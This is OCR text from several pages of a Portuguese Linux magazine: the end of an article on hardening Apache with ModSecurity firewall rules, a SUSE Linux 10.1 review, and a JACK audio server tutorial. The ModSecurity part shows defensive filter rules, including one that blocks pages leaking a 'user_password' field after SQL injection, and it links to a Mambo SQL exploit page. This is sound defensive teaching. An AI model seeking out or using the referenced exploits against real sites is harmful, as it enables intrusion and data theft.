Os padrões de busca que examinamos até agora somente verificam o pedido HTTP inteiro. Isso poderia causar um impacto maior do que podemos aceitar sobre o desempenho. A entrada SecFil-terSelective Location SearchPattern Ac-tion nos permite filtrar itens específicos. A localização pode ser qualquer variável CGI. A documentação online mostra os valores possíveis e explica como utilizá-los. Como exemplo, a seguinte diretiva encontra todas as tentativas de acesso que não se originaram na rede 192.168.0.0/24: SecFilterSelective “REMOTE_ADDR|REMOTE_HOST” !192.168.0.

Junto com o Apache 2, o ModSecurity pode filtrar a saída de sites web. Se um atacante conseguir injetar código SQL malicioso que cause a revelação da senha de um usuário de um banco de dados, o SecFilterSelective OUTPUT “user_password” deny,status:500 impedirá que a senha seja mostrada. Para isso acontecer, no entanto, precisaremos ativar a filtragem

Figura 2 Em nosso exemplo, o módulo de Apache ModSecurity conse-guiu barrar um ataque de injeção SQL, registrando a tentativa no log do servidor web, error.log.


49

| CAPAModSecurity


da saída usando SecFilterScanOutput On. A filtragem da saída fica desativada por padrão, e por um bom motivo: esse re-curso causa um overhead considerável, já que o ModSecurity examina todo o conteúdo servido pelo Apache. Além disso, o risco de filtrar conteúdo legítimo equivocadamente é bastante alto.

Se precisarmos proteger múltiplas máquinas virtuais que realizam tarefas distintas, o fato de que o ModSecurity suporta herança de regras por diretórios pode ser útil. Regras de diretório têm precedência sobre regras globais:

<Location /subcontext/> SecFilterRemove 1001</Location>

Este exemplo simplesmente desabilita a regra com ID 1001, mantendo as ou-tras. O exemplo seguinte faz justamente o contrário -- desativa todas as regras de nível mais alto, exceto pelas de número 1002 e 1003:

<Location /subcontext/> SecFilterInheritance Off SecFilterImport 1002 1003</Location>

Para facilitar a criação de conjuntos de regras, os sites dos projetos ModSecu-rity Rule Sets [2] e Gotroot [6] oferecem conjuntos pré-configurados de regras para baixarmos. As regras do Gotroot supor-tam as novas capacidades oferecidas pelo ModSecurity 1.9, que as tornam incom-patíveis com versões mais antigas.

Outras característicasO ModSecurity tem outras opções de segurança além dos simples mecanis-mos de filtragem. A função SecUploadA-pproveScript /caminho/até/script.sh nos permite examinar arquivos mandados para o servidor em busca de vírus, rodan-do um script que executa o antivírus. A documentação online do ModSecurity dispõe de um script simples. O módulo também faz um ambiente protegido (mais especificamente, um chroot jail) através da entrada SecChrootDir /var/www/, impe-dindo assim que binários e scripts CGI fora da “cadeia” sejam chamados.

DesempenhoDependendo do tamanho e da profun-didade do nosso conjunto de regras, o ModSecurity pode afetar seriamente a

valocidade de resposta do nosso servidor. Um teste usando o ab mostra a queda de desempenho. O benchmark é parte do pacote Apache. Rodamos essa fer-ramenta com os parâmetros time ab -n 500 -c 30 http://servidor/phbBB2/index.php numa máquina com um processa-dor Intel Mobile Pentium 4 (1.8 GHz) e medimos um tempo de aproximada-mente 55 segundos para o benchmark ser completado num Apache 2.0.55-4 sem o ModSecurity.

Após ativarmos o ModSecurity com as configurações básicas mostradas no exem-

plo 2, o servidor ficou aproximadamente dois porcento mais lento, mas, com a ativação do conjunto de regras modsecu-rity-general disponibilizado pelo projeto ModSecurity Rules [6], o servidor web levou um tempo 15 a 20 porcento maior para servir as páginas pedidas.

Os administradores de servidores web fortemente carregados precisam manter o conjunto de regras o mais simples possível, evitando assim maio-res quedas de desempenho. Além do número de regras, a complexidade das regras que usamos é um fato im-portante. Se tivermos filtros que usem expressões regulares, nosso conjunto de regras consumirá muitos ciclos de CPU a mais, em relação a operadores de comparação simples. De uma for-ma geral, quanto mais precisamente personalizarmos o cojunto de regras para nossas necessidades, menor será a sobrecarga acarretada por ele.

Como o Apache 1 não dispõe de um motor de expressões regulares do tipo PCRE, diferentemente do Apache 2, a sobrecarga no primeiro é um pouco maior. Se um servidor web for exposto a um forte ataque, um conjunto de regras de ModSecurity bem planejado pode até aumentar o desempenho de um servidor web, já que os pedidos não che-garão a ser tratados pelos scripts.

Como ocorre com todos os outros aplicati-vos de segurança basea-da em conjuntos de re-gras, o ganho potencial de segurança depende enormemente das pró-prias regras usadas. Em outras palavras, os ata-ques que as nossas regras não cobrirem afetarão o servidor.

ConclusõesComo barreira adicional a ataques a aplicativos web, o ModSecurity oferece diversos mecanismos de proteção. A efe-tividade desses mecanismos vai depen-der principalmente da configuração do conjunto de regras, como é o caso com todas as ferramentas de proteção baseada em regras. Com uma configuração óti-ma, o módulo pode parar a maioria dos ataques a servidores web e os aplicativos nele hospedados.

Configurações grosseiras e genéricas podem deixar buracos na segurança e atrapalhar o serviço de conteúdo legíti-mo, então verifique cuidadosamente se você realmente precisa de uma regra de filtragem antes de aplicá-la. ■

Figura 3 A opção audit log do ModSecurity registra detalhes da abordagem e das circunstâncias em torno do ataque, dando ao administrador dados muito úteis sobre os acontecimentos do dia.

Mais Informações[1] Modsecurity:

http://www.ModSecurity.org

[2] Conjuntos de regras do ModSecurity: http://www.ModSecurity.org/ projects/rules/

[3] Ferramentas para o httpd Apache: http://www.apachesecurity.net/ tools/

[4] Snortsam: http://www.snortsam.net

[5] Toolkit Spread: http://www.spread.org

[6] Regras para ModSecurity: http://www.gotroot.com/ tiki-index.php? page=mod_security+rules

[7] Mambo, exploit SQL: http://www.milw0rm.com/ exploits/1061



Doze de maio foi o grande dia: a Novell finalmente disponibili-zou em vários servidores o Suse

Linux 10.1 para i386, x86_64 e ppc. Sua versão beta, repleta de bugs, obrigou-nos a examinar com grande cuidado cautela essa versão oficial.

Instalação e hardwareInstalar o Suse Linux 10.1 numa máquina recente não deve ser um problema. Real-mente, não tivemos qualquer dificulda-de para atualizar a versão 10.0 em nosso laboratório, embora você talvez tenha que resolver conflitos entre pacotes caso queira realizar uma atualização. Se você tiver uma máquina muito usada, talvez isso exija muitos cliques em Manter pa-cote ou Apagar pacote. Alguns usuários

talvez tenham gostado dos botões para Manter tudo ou até Apagar tudo. O YaST configura um nome de máquina alea-tório que segue o padrão de linux-abcd durante o processo de instalação: uma boa idéia, principalmente se você estiver instalando diversas máquinas ao mesmo tempo numa rede.

O Suse Linux ainda tem uma detecção de hardware confiável. Porém, o fato de que ele identifica seu hardware corretamente não significa que você terá suporte para esse hardware automaticamente. Drivers WLAN são complicados; os drivers para as placa Realtek das séries 2400 e 2500 não podem ser compilados para o kernel atual, e estão ausentes no Suse Linux 10.1. Tam-bém não espere drivers para placas Atheros apesar de, felizmente, ser possível baixá-los e instalá-los a partir da página do Madwifi

[1]; o Packman adicionou poucos módulos do ker-nel para esse repositório. Se você preferir instalar os drivers manualmente, pode buscar no Wiki do Opensuse [2] um Howto. O novo gerenciador de rede oferece ótimo su-porte a WLAN.

O Suse Linux fornece pacotes para drivers que não são parte do kernel oficial. Os drivers WLAN estão localizados no pa-cote wlan-kmp-default, e o Ndiswrapper está no ndiswrapper-kmp-default. O Suse Linux também su-porta o chipset Intel 3945.

O firmware está disponível nos servidores espelho, no diretório non-oss-inst-source.

Bloqueio de dadosSe você quiser usar o Suse 10.1 em co-nexão com múltiplas partições Linux, a nova política de segurança da Novell pro-vavelmente o incomodará. Os usuários não podem acessar dispositivos locais, a menos que o administrador do sistema adicione tais dispositivos ao arquivo /etc/fstab. Caso contrário, o HAL vai até blo-quear os usuários que estejam com essas partições montadas.

Graças ao código aberto, há uma forma fácil de contornar a medida de segurança: na linha 7 do arquivo /usr/share/hal/fdi/policy/10osvendor/99-storage-policy-fixed-drives.fdi, mude a entrada < ... type=”bool”>true</merge> para < ... type=”bool”>false</merge>, e depois reinicie o daemon do HAL como superusuário, digitando rchal restart.

O Online update (YaST Online Update, ou YOU) não pode ser completamente bloqueado, mas a Novell definitivamen-te colocou um obstáculo. É necessário registrar o seu computador num servidor Novell para utilizar o YOU. O módulo de Configuração do Online Update do YaST ajuda os usuários a se registrar. Muitos usuários do Linux são alérgicos à pala-vra “registro”, mas antes de começarem a escrever cartas-bomba, permitam-nos explicar os objetivos do registro:➧ Coletar dados do hardware (principal-

mente para suporte a negócios) e,➧ Configurar um servidor de atualiza-

ções fixo, localizado em algum lugar

Quão bom é o novo Suse?

Vai um upgrade?Algumas mudanças importantes ocorreram na nova versão do Suse Linux, da Novell. Veja se vale a pena atualizar ou migrar sua máquina.por Marcel Hilzinger

Figura 1 O YaST oferece uma interface conveniente para instalar e gerenciar pacotes de software.

AN

ÁLI

SE

Andy Heyward – www.sxc.hu


51

| ANÁLISESuse 10.1

Linux Magazine #22 | Agosto de 200X

próximo a onde você está (antes, o YOU só selecionava aleatoriamente um espelho a partir de uma lista.Se você preferir não se registrar, sim-

plesmente digite no YaST o seu servidor YOU favorito, na aba Mudar fonte de instalação.

Xgl e GnomePara os amigos do Gnome, o Suse Linux 10.1 é uma boa escolha, embora não inclua o atual Gnome 2.14, e sim a versão 2.12. Apesar disso, a área de trabalho oferece uma sensação de novidade, e é sensivel-mente mais rápida que o KDE. Mas seria exagero louvar o Gnome como um subs-tituto para o KDE: por exemplo, o Gno-me não oferece uma ferramenta gráfica para configurar os pontos de montagem de discos rígidos externos, e não procure o útil diálogo de visão geral em sysinfo:/ na área de trabalho GNU. Além disso, o Gnome não oferece uma alternativa de verdade ao K3b ou ao KPowersave.

O Gnome também é recomendado se você estiver interessado em tentar o Xgl – o sistema para uma área de traba-lho 3D da Novell. Usuários com placas de vídeo suportadas podem desfrutar do cubo e diversos efeitos tridimensionais enquanto os usuários do Windows® ainda estão esperando. Apesar de ser ne-cessária uma configuração manual, essa não deve ser muito problemática nem para os iniciantes. O Wiki do Opensuse [3] tem um Howto que inclui dicas para configurar placas de vídeo específicas. O Xgl funciona com o KDE, mas com algumas restrições: por exemplo, você é obrigado a utilizar decorações de ja-nela do Gnome, e o trocador de área de trabalho do painel do KDE não suporta o Xgl.

Não o bastanteApesar de o gerenciamento de pacotes ter sido completamente retrabalhado diversas vezes na fase beta, ele ainda deixa muito a desejar. O Zenworks Linux Management Daemon (ZMD) é feito principalmente para administradores de sistemas em am-bientes heterogêneos – mas a ferramenta provavelmente tornará PCs caseiros mais lentos. Em nossa máquina do laboratório, com 256 MB de RAM e processador de 1.4 GHz, o ZMD levou mais de um minuto para simplesmente ser completamente iniciado. Instalar um pacote RPM de 2 MB levou mais um minuto e meio (veja a tabela 1). Os resultados ficam um pouco melhores

numa máquina com 512 MB de RAM.

Pelo menos o Suse Linux 10.1 deixa o usuá-rio soltar o freio de mão, já que o YaST funciona sem o ZMD. Um rpm -e zmd rug zen-updater apaga as ferramentas Mono se-dentas por memória. Se você tiver uma conexão rápida à Internet, talvez prefira não utilizar o gerenciador de paco-tes da Novell, usando em seu lugar o Apt ou o Smart.

Nota: Quando o ZMD não está ro-dando, a instalação com o YaST e o Rug demora aproximadamente um mi-nuto a mais.

Luz no horizonteApesar desses dois pontos problemáticos, o Suse Linux 10.1 se mostrou uma dis-tribuição com boa usabilidade. A nova ferramenta de linha de comando rug é muito poderosa, e dá aos usuários a pos-sibilidade de instalar atualizações no estilo do Apt ou do Smart. Entretanto, enquanto escrevemos este artigo, ainda é extremamente lenta.

O Zen Updater, Zen Installer e Zen Remover têm novidades interessantes. Por exemplo, o Zen Updater mostra ao usu-ário as atualizações para todas as fontes de instalação, e não somente os patches de segurança e correções de falha da No-vell. Isso permite que o usuário saiba, por exemplo, se o Packman tem uma nova versão do K3b. O Zen Installer facilita a instalação de novos pacotes graças a sua interface limpa, e deixa usuários especí-ficos instalarem programas sem saber a senha do superusuário.

As primeiras reações na lista Suse Laptop [4] sugerem que o Suse 10.1 me-lhorou profundamente o gerenciamento de energia. Graças à nova ferramenta de linha de comando s2ram, o suspend-to-RAM funciona agora em diversos laptops sem intervenção manual. Para isso, o s2ram procura numa lista branca se o dispositi-vo em questão suporta essa propriedade.

Bastam poucos cliques do mouse no YaST para o usuário pôr o laptop para dormir quando fecha a tampa. O Suspend-to-Disk funciona em todos os computadores rela-tivamente recentes, independentemente de serem laptops ou desktops.

ConclusõesVocê poderia concluir que o Suse Linux 10.1 é um trabalho sólido, se não fossem os lentos gerenciadores de pacote criando problemas com as ferramentas Zen. Se você usa o Apt ou o Smart para gerencia-mento de pacotes, não há motivos para não atualizar.

Se você tiver um laptop, procure nos fóruns apropriados detalhes se o Suse Linux 10.1 suporta sua placa WLAN antes de decidir atualizar. Em caso positivo, a atualização definitivamente vale a pena. Para usuários com máquinas mais antigas, e para aqueles satisfeitos com suas configurações atuais, o velho adágio ainda vale: em time que está ganhando, não se mexe! ■

Mais Informações[1] Madwifi: http://madwifi.org/

[2] Configuração de placas Atheros: http://en.opensuse.org/ Atheros_madwifi

[3] Configuração do Xgl: http://en.opensuse.org/Xgl

[4] Lista Suse Laptop: http://lists.suse.com/archive/suse-laptop/

Figura 2 O Xgl traz o 3D à área de trabalho do Linux.

Tabela 1: Tempos de instalaçãoyast -i ipw-firmware rug install ipw-firmware rpm -ivh ipw-firmware && SuSEconfig

Com ZMD 1:40 min 1:15 min 0:16 min

Sem ZMD 1:06 min - 0:10 min



A maioria dos usuários de Linux sabem que um servidor oferece serviços, tanto para uma máqui-

na quanto para uma rede. O objetivo de um servidor é eliminar a necessidade de acessar tais serviços no nível do aplicativo. Por exemplo, um servidor X gerencia e controla o acesso aos serviços de vídeo do chipset gráfico do computador, livran-do os desenvolvedores do fardo de lidar diretamente com tais serviços.

Um servidor de áudio gerencia o acesso aos serviços dos dispositivos de

áudio instalados. Esses dispositivos in-cluem placas de som, chipsets de som onboard e qualquer outro hardware de áudio, como por exemplo placas de te-lefonia, A/V combinadas, de televisão e de rádio.

O desktop gráfico no Linux depende do X para seus serviços de vídeo. Assim, seus aplicativos preferidos de KDE ou Gnome incluem rotinas para acessar esses servi-ços pela API (application programming interface, ou interface de programação de aplicativos) do X. Os desenvolvedo-

res podem escrever programas para o hardware através de uma API geral, em vez de se comunicarem diretamente com este. Infelizmente, o desktop Linux sô-nico ainda não dispõe de uma solução padronizada única para servir recursos de áudio ao sistema. O que existe hoje é uma profusão de soluções, incluindo os sistemas artsd, esd, NAS e JACK.

Tocar sons do sistema, ouvir CDs e DVDs ou gravar sons não exige muito do servidor de áudio. Gerenciar múl-tiplos streams de áudio nesse nível não requer sincronizações precisas de som, nem tampouco um sistema altamente flexível de roteamento para o cliente. A maioria dos usuários simplesmente quer tocar sons gravados sem bloquear outros streams de áudio. O artsd e o esd são servidores de som feitos para cumprir essa tarefa para ambientes KDE e GNO-ME. O NAS (Network Audio System) é um sistema de som alternativo no estilo servidor-cliente. Ele trabalha bem em rede e tem o intuito de funcionar como um equivalente de áudio do servidor X. Dentro de suas limitações, o artsd, o esd e o NAS funcionam bem. Porém, nenhum desses servidores fornece uma sincronização real de E/S de múltiplos streams de dados de áudio, nem foram feitos para atingir alto desempenho em sistemas de baixa latência. Se você precisa desses recursos poderosos, seja bem-vindo ao mundo dos sistemas profissionais de áudio, e conheça o JACK. ➧

Áudio para profissionais

JACK, o servidorProfissionais de áudio necessitam de um sofisticado

servidor de som. Com alta qualidade de som, possibilidade de sincronia em tempo real e ampla conectividade

através de redes, o JACK é o servidor de áudio que está se tornando o padrão para profissionais no Linux.

por Dave Phillips

Quadro 1: Sobre placas de somA indústria de áudio faz distinção entre dispositivos para usuários comuns e profissionais. Aqueles destinados a usuários comuns incluem os de interface PCI e USB, chipsets onboard para desktops e laptops, e hardware mais avançado como as placas Creative SB Live! e Audigy. Esses dispositivos normalmente fornecem canais para um controle mestre do volume, saída de áudio PCM e CD, e entradas para microfones e line-in. Os canais de volu-me mestre, CD, microfone e line-in são auto-explicativos. O canal PCM é um canal genérico de playback de áudio digital que fornece um controle de volume para programas que tocam arquivos WAV, AIFF, OGG, MP3 e outros.

Dependendo do chipset de áudio, esses serviços básicos podem ser expandidos para incluir canais de saí-da de sintetizadores onboard, conexões de áudio digital, canais de som surround e controle de graves e agu-dos. Mixers de software como o alsamixer consultam o hardware para descobrir seus recursos e configuram o mixer para mostrar os canais disponíveis. Com isso, o chipset de áudio CS4232 do meu laptop provê um pouco mais do que os serviços básicos, enquanto a SBLive do meu desktop provê uma gama bem maior.

Placas de áudio de nível profissional como a RME Hammerfall ou a M-Audio Delta são desenvol-vidas para satisfazer diferentes necessidades, fornecendo conectividade de áudio de alta quali-dade, como plugues AES/EBU e balanceados de 1/4”, um número maior de canais de E/S de áu-dio, maiores taxas de amostragem e recursos de sincronização de hardware. Podem ainda incluir conectividade MIDI, e normalmente não incluem características de placas feitas para usuários nor-mais, como sintetizadores onboard e conectores para a saída de áudio da unidade de CD.

A distinção entre os níveis das placas diminui com alguns dispositivos feitos para consumidores comuns, e certamente é possível alcançar resultados de alta qualidade com algumas placas de som modernas. En-tretanto, para necessidades realmente profissionais, você precisará de placas voltadas a esse meio.

TUTO

RIA

L

Gaston THAUVIN – www.sxc.hu


53

| TUTORIALJACK


Quadro 2: Opções do JACKNo primeiro contato com o JACK, você pode ficar um pouco confu-so com suas opções. Este breve resumo deve ajudar nessa tarefa.

Primeiro, os parâmetros:

➧ -R, --realtime – Inicia o JACK com prioridade de tempo real. Normalmente queremos ativar essa opção, mas precisamos de privilégios de root (ou um kernel que dê tais privilégios a usuários normais). Os kernels das distribuições AGNULA/Demudi e Planet CCRMA fornecem essa funcionalidade, mas qualquer kernel pode receber patches e modificações que garantam baixa latência com privilégios de root a usuários normais. Privilégios de root são neces-sários somente para o scheduling em tempo real e o bloqueio de memória, e o JACK é perfeitamente utilizável em sistemas sem tais privilégios. Além disso, você pode desativar o recurso de tempo real em ambientes de teste ou quando quiser resolver algum problema.

➧ -m, --no-mlock – Manda o JACK manter a memória des-bloqueada. Essa opção pode ser útil ao rodar o JACK em tempo real num sistema cuja memória física esteja sen-do consumida pelo JACK e seus clientes. Ou seja, a maio-ria dos usuários não precisará ativar essa opção.

➧ -u, --unlock – Desbloqueia a memória ocupada por toolkits gráficos (GTK, QT, FLTK, WINE). Novamente, essa opção é útil em máquinas com pouca memória RAM, mas é especialmen-te útil para usuários rodando plugins VST/VSTi e outros aplica-tivos dependentes do WINE. Em alguns casos, esses aplicati-vos podem se recusar a rodar até que essa opção seja ativada. Você pode desbloquear a memória ocupada pela GTK ou QT se estiver rodando muitos aplicativos graficamente exigen-tes num ambiente com menos memória do que necessita.

➧ -s, --softmode – Ignora xruns relatados pelo driver ALSA, reduzin-do a tendência do JACK a desconectar portas que não respondem quando estiver rodando sem prioridade de tempo real. Você deve selecionar essa opção se quiser evitar relatos de erro muito ex-tensos. Essa opção também pode ser útil caso se deseje manter o estado de conexão do JACK, sem importar o que venha a acontecer.

➧ -S, --shorts – Força a E/S do JACK a 16 bits. O processamento interno do JACK sempre ocorre a 32 bits e, por padrão, ele tentará estabelecer a resolução de entrada e saída em 32, 24 e 16 bits, nes-sa ordem, relatando sucesso ou fracasso a cada tentativa. Usuários com placas de vídeo que sabidamente funcionam melhor a 16 bits podem usar essa opção simplesmente para evitar os relatórios de erro. Devido a chipsets de áudio com largura de banda limitada, alguns dispositivos sacrificam a taxa de amostragem em favor do número de canais E/S, fornecendo mais canais a taxas mais baixas.

➧ -H, --hwmon – Ativa o monitoramento por hardware das portas de captura do ALSA, fornecendo monitoramento com latência zero à entrada de áudio. Precisa de suporte do hardware e do driver. A página de manual do jackd diz que essa opção faz com que pedi-dos de monitoramento de portas de captura sejam satisfeitos com a criação de um caminho de sinal direto entre os conectores de entrada e saída da interface de áudio, sem qualquer processamen-to por parte da CPU. Isso oferece a menor latência possível para o sinal monitorado. Note que essa opção atualmente só está disponí-vel em associação com os drivers ALSA das placas RME Hammer-fall e das baseadas no chipset ICE1712 (M-Audio Delta 44/66/1010, Terratec e outras). O banco de dados de placas de som do ALSA lista as placas com suporte ao monitoramento por hardware.

➧ -M, --hwmeter – Mais uma opção somente disponí-vel com o ALSA. Ativa a medição por hardware se sua placa de som a suportar. Essa opção raramente é usa-da, e provavelmente será retirada em versões futuras.

➧ -z, --dither – Dithering é um processo que minimiza efeitos colaterais da redução da profundidade de bits de um arquivo de

áudio. Ruídos de baixo nível são misturados num sinal para tornar aleatórios os erros de quantização de áudio digital, transformando as distorções digitais audíveis e desagradáveis em algo mais pare-cido com ruído analógico. O dithering é especialmente útil quando a saída de sua placa de som tem resolução menor que 24 bits e você está rodando o JACK à taxa real de amostragem do hardwa-re. Também recomenda-se ativar o dithering para quase todas as placas de som comuns, mas a diferença sonora pode não ser perceptível nos alto-falantes geralmente ligados a essas placas.

➧ -P, --realtime-priority – Ativa a prioridade de tempo real do scheduler. Geralmente você pode deixar esse parâmetro em seu valor padrão de 10. Em máquinas com kernel preemptivo em tempo real, pode ser especificado esse valor para no mínimo 70 para manter o JACK à frente dos gerenciadores de interrupção.

➧ -p, --port-max – Especifica o número máximo de portas de saída do JACK. Esta opção é especialmente útil para quem usa mui-tas faixas no Ardour. O padrão de 128 deve ser suficiente para a maioria dos usuários. O QjackCtl permite selecionar até 512 por-tas, mas pode-se usar mais, desde que haja memória suficiente.

➧ -d, --driver – Seleciona o driver de hardware. Na realida-de, essa opção seleciona o back-end do sistema de áudio. Sis-temas atualmente suportados incluem ALSA, OSS/Linux, Co-reAudio, PortAudio e um sistema dummy útil para teste. A maioria dos usuários de Linux utilizarão ALSA ou OSS.

➧ -r, --rate – Especifica a taxa de amostragem do JACK. O pa-drão é 48000, mas você pode experimentar outras para determi-nar a melhor taxa para seu sistema. Sistemas mais fracos podem precisar reduzir a taxa de amostragem para melhorar o desem-penho, mas normalmente 44100 é a taxa que oferece alta qua-lidade de som. Note que algumas placas de som, como a SBLi-ve, só funcionam bem com uma única taxa de amostragem.

➧ -p, --period – Especifica o número de quadros entre as chama-das de função process() do JACK. O padrão é 1024, mas, para baixa latência, use -p o mais baixo possível sem produzir xruns. Períodos maiores produzem maiores latências, mas por outro lado tornam xruns menos prováveis, então você talvez tenha que experimentar para encontrar a melhor configuração para seu hardware. Um man jackd informa que a latência de entrada do JACK (medida em segundos) é --period dividido por --rate.

➧ -i, --inchannels; -o, --outchannels – Essas configura-ções determinam o número de canais de E/S de áudio. O pa-drão é o número máximo suportado pelo seu hadware, en-tão você pode usar o padrão na maioria das situações.

➧ -n, --nperiods – Especifica o número de períodos no buffer do hardware. O valor padrâo é 2. O tamanho do período (-p) vezes --nperiods vezes quatro será igual ao tamanho do buffer do JACK em bytes. A propósito, a latência de saída do JACK (nova-mente em segundos) é o número de períodos (-n) vezes o ta-manho do período (-p) dividida pela taxa de amostragem (-r).

➧ -C, --capture; -P, --playback; -D, --duplex – Coloca o JACK em somente gravação, somente reprodução, ou full duplex (grava-ção e reprodução simultâneas). Essa configuração pode ser muito importante: algumas placas funcionam mal em modo duplex e bem em simplex. Por exemplo, no meu laptop, o JACK informa uma corrente permanente de xruns se eu usar o chipset CS4232 em modo duplex. Os xruns desaparecem quando o JACK é co-locado em modo somente gravação ou somente reprodução.

Recomenda-se procurar as melhores configurações para menor latência e menos xruns primeiramente com as opções de tama-nho do período, taxa de amostragem e número de períodos.



TUTORIAL | JACK

Apresentando o JACKO desenvolvedor Paul Davis criou um dos mais notáveis programas de áudio de código aberto, o JACK Audio Con-nection Kit, mais conhecido como JACK. O JACK foi feito especificamente para sistemas que visam a baixa latência com alta demanda. Sistemas profissionais de gravação de áudio não podem permitir atrasos audíveis ou quebras (conhecidas como xruns no JACK), e esses sistemas devem suportar a operação síncrona de múltiplos clientes num ambiente de baixa latência.

Além de seu desempenho robusto, o JACK traz características tais como:➧ suporte a qualquer dispositivo com-

patível com ALSA➧ suporte a uma variedade de back-ends

de sistemas de áudio (ALSA, OSS/Li-nux, PortAudio, CoreAudio)

➧ conectividade livre entre clientes – sem atrasos ou quebras

➧ suporte a um sistema mestre de con-trole de transporteA tarefa principal do JACK é o geren-

ciamento de múltiplos streams de áudio, indo e vindo de diversos aplicativos com entrada e saída sincronizadas. O JACK requer um sistema de áudio -- ele não substitui um sistema de áudio como o ALSA ou o OSS/Linux. O JACK não provê drivers de placas de som, nem acessa o hardware diretamente; ele de-pende de uma camada de áudio de baixo nível para fazer essa comunicação, que no Linux é composta pelo ALSA ou pelo OSS. O JACK não se importa com o hardware sob ele; ele simplesmente ge-rencia os streams entrando e saindo dos seus dispositivos.

Compilando e instalando o JACKO JACK está disponível como um pacote básico nos sistemas AGNULA/Demudi e Planet CCRMA, otimizados para áudio. Um tarball dos fontes da última versão pública está disponível no site do JACK. O site também dá instruções para com-pilar o JACK a partir dos fontes do CVS para aqueles que quiserem acompanhar os desenvolvimentos mais recentes. Ne-nhum requisito especial de compilação

é necessário para o JACK além da bibio-teca de E/S de áudio libsndfile, de Erik de Castro Lopo.

De acordo com o FAQ do JACK, é necessário um kernel Linux recente (2.4 ou mais novo) com suporte ao sistema de arquivos tmpfs. A maioria das distribui-ções modernas têm isso, mas você pode verificar com o comando cat /proc/fi-lesystems. A FAQ também diz que você deve montar um sistema de arquivos de memória compartilhada em /dev/shm, e que a seguinte linha deve ser adicionada ao /etc/fstab:

shmfs /dev/shm shm➥ defaults 0 0

A FAQ diz ainda que você deve criar o diretório /dev/shm pessoalmente. O co-mando mkdir é seu amigo.

Depois de descompactar o código-fonte, simplesmente entre no novo di-

retório JACK, leia o README para instruções atualizadas, e dê o comando ./configure --help para ver as opções de configuração disponíveis. O JACK é feito com os já fa-miliares utilitários autotools, então para a maioria dos usuários a seqüência ./confi-gure [suas opções]; make; make install já faz toda a compilação e instalação.

Instalar o JACK a partir de um RPM ou outro pacote também não requer qualquer suporte especial. Siga o proce-dimento básico de instalação para o seu sistema e voilá, você já tem um sistema JACK pronto para usar.

Iniciando o JACKO servidor JACK é iniciado com os co-mandos jackd ou jackstart. A página de manual do JACK (man jack) nos informa que jackd chama o daemon do servidor JACK, e jackstart é usado quando se deseja o su-porte do JACK aos recursos de tempo real.

Figura 2 O diálogo de configuração do QJackCtl.

Figura 1 Controle do JACK com o QjackCtl.

Figura 3 Patchbay do QJC ajuda a gerenciar conexões.


55

| TUTORIALJACK


Todas as opções são as mesmas para ambas as formas de chamá-lo. Para a maioria dos usuários de sistemas com kernels da série 2.4, jackstart é o método preferido para iniciar o servidor. Usuários de kernels da série 2.6 devem usar jackd.

Aqui está uma forma relativamente simples de começar:

jackd -R alsa -d hw:0

Neste exemplo, o JACK será iniciado com suporte a tempo real, informando o back-end ALSA e comunicando-se com o primeiro dispositivo do sistema de áudio. Os parâmetros -d hw:0 na re-alidade são desnecessários; a seleção de hardware sempre recai por padrão so-bre hw:0. Naturalmente, você pode usar um número diferente para uma placa diferente num sistema com mais de um dispositivo de som.

Aqui está um exemplo um pouco mais complexo para a minha placa de som SBLive:

jackstart -R -d alsa -d hw:1 -p 512 -r➥ 48000 -z s

Novamente vemos as opções de tem-po real e ALSA. O seletor de dispositivos recebe o número hw:1 porque a SBLive é a segunda placa nessa máquina. Eu acres-centei opções para tamanho do buffer (-p), taxa de amostragem do JACK (-r), e para a opção de dithering de áudio (-z). Note que a opção -p especifica o tamanho do buffer. Como Jack O’Quin nos mostra,

este é o tamanho de buffer enxergado por todos os clientes JACK.

Veja o quadro Opções do JACK para mais informações sobre as opções de linha de comando do JACK.

Interfaces gráficasJá vimos o JACK em ação na linha de comando. Porém, trabalhando num ambiente X, é melhor ter uma interface gráfica para a configuração, e felizmente temos o QJackCtl (figura 1). Esse utilitário oferece uma interface gráfica abrangente para configurar e controlar todas as ope-rações do JACK. Além de um diálogo de configuração bastante conveniente (figura 2), o QJC oferece também um painel de conexões de áudio para clien-tes e um conjunto de controles básicos de transporte do JACK. O QJC ainda fornece painéis de mensagens e status, controles para iniciar e parar o servidor, e controles para iniciar e pausar o siste-ma de controle de transporte do JACK.

O QJC também inclui um painel de conexões MIDI para clientes de seqüenciadores ALSA, permitindo aos usuários gerenciar a conectividade de áudio e MIDI por uma única interface de controle. Pode-se salvar e carregar um gráfico com todas as suas conexões como um perfil no Patchbay do QJC (figura 3). A operação do Patchbay não é exatamente

automática, mas economiza muito tem-po se as suas conexões forem muitas e complexas.

O QJC é uma ótima ferramenta para controlar o JACK, mas há pelo menos outras duas interfaces gráficas para ge-renciamento da sua conectividade. O Patchage é um patchbay de conectivida-de tanto para JACK quanto para MIDI do ALSA, via sua interface gráfica única (figura 4). O QJackConnect (figura 5), por sua vez, é um bom patchbay em QT, mas seu desenvolvimento aparentemente está parado.

AplicativosO suporte ao JACK tornou-se um recurso esperado nos novos programas de áudio do Linux. Como resultado, as imple-mentações são tantas que não podemos listá-las aqui, mas seus grupos incluem sistemas de gravação em disco rígido (Ardour, ecasound, Wired), máquinas de percussão/programas de ritmo (Hydrogen), ambientes de síntese de sons por software (Csound5, SuperCollider3), seqüenciado-res de áudio/MIDI (Rosegarden, MusE, seq24), editores de arquivos de som (Snd, Audacity, mhWaveEdit, ReZound), e sin-tetizadores standalone (AMS, Om, ZynA-ddSubFX). Outros programas que lidam bem com o JACK incluem os projetos de samplers LinuxSampler e Specimen, além dos vários esquemas para suporte

Figura 4 Patchage é um patchbay para conectividade de áudio do JACK e ALSA MIDI.

Figura 5 QJackConnect é um patchbay feito com QT.

Figura 6 JACK-Rack é um contêiner útil para plugins LADSPA.



TUTORIAL | JACK

a plugins de áudio VST/VSTi no Linux (esses esquemas também precisam do software WINE). Sistemas de reprodu-ção de mídias para Linux como MPlayer, XMMS e AlsaPlayer também oferecem suporte ao JACK.

Os usuários devem notar que esses aplicativos variam em relação ao supor-te ao JACK. Alguns somente usam sua conectividade de áudio, enquanto outros usam implementações parciais de seu controle de transporte, e uns poucos já aproveitam melhor as vantagens oferecidas pelo JACK. Consulte a documentação dos aplicativos específicos para determinar a profundidade do seu suporte.

O pacote JACK básico inclui diversas ferramentas úteis de linha de comando como jack_connect/jack_disconnect (ge-rencia conexões de clientes), jacl_metro (um metrônomo configurável), jack_lsp (lista as portas do JACK, suas conexões e propriedades), e jack_transport (ge-rencia o status do controle de transporte do JACK).

